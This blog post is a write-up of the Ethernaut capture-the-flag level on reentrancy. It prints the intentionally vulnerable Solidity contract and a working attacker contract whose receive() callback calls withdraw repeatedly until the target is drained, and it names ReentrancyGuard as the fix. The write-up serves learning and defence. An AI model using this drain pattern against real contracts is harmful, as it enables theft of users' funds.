# Ethernaut 9: Reentrancy

By [0xbanky](https://paragraph.com/@banky) · 2022-08-19

---

Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works

[https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D](https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D)

Investigation
-------------

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    import '@openzeppelin/contracts/math/SafeMath.sol';
    
    contract Reentrance {
      
      using SafeMath for uint256;
      mapping(address => uint) public balances;
    
      function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
      }
    
      function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
      }
    
      function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          (bool result,) = msg.sender.call{value:_amount}("");
          if(result) {
            _amount;
          }
          balances[msg.sender] -= _amount;
        }
      }
    
      receive() external payable {}
    }
    

Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.

The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated _after_ the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.

Solution
--------

I created an attacker contract that looks like this

    contract AttackReentrance {
      address payable contractAddress;
      Reentrance reentranceInstance;
    
      constructor (address payable _contractAddress) {
          contractAddress = _contractAddress;
          reentranceInstance = Reentrance(contractAddress);
      }
    
      receive () external payable {
          reentranceInstance.withdraw(0.001 ether);
      }
    
      function donate() public payable {
          contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
      }
    
      function attack () public payable {
          reentranceInstance.withdraw(0.001 ether);
      }
    }
    

With this `AttackReentrance` contract, I make a donation to the instance of `Reentrance` first. After that, I call `attack` which just performs a withdrawal of the amount donated back into `AttackReentrance`. The special sauce here is the `receive` callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.

The `receive` function then calls withdraw again for `0.001 ether`. Since the balance is only updated in `Reentrance` after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the `Reentrance` instance is completely drained of funds.

There were some problems that I could not figure out why they were happening here.

1.  When I called `donate` on my `AttackReentrance` function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd
    
2.  I expected to be able to use `call` on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for `Reentrance`. This call kept failing for me. If someone knows why, please let me know 🤠
    
        contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
        
    

What I learned
--------------

1.  Reentrancy problems are pretty simple to avoid using something like `ReentrancyGuard` from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-9-reentrancy)*
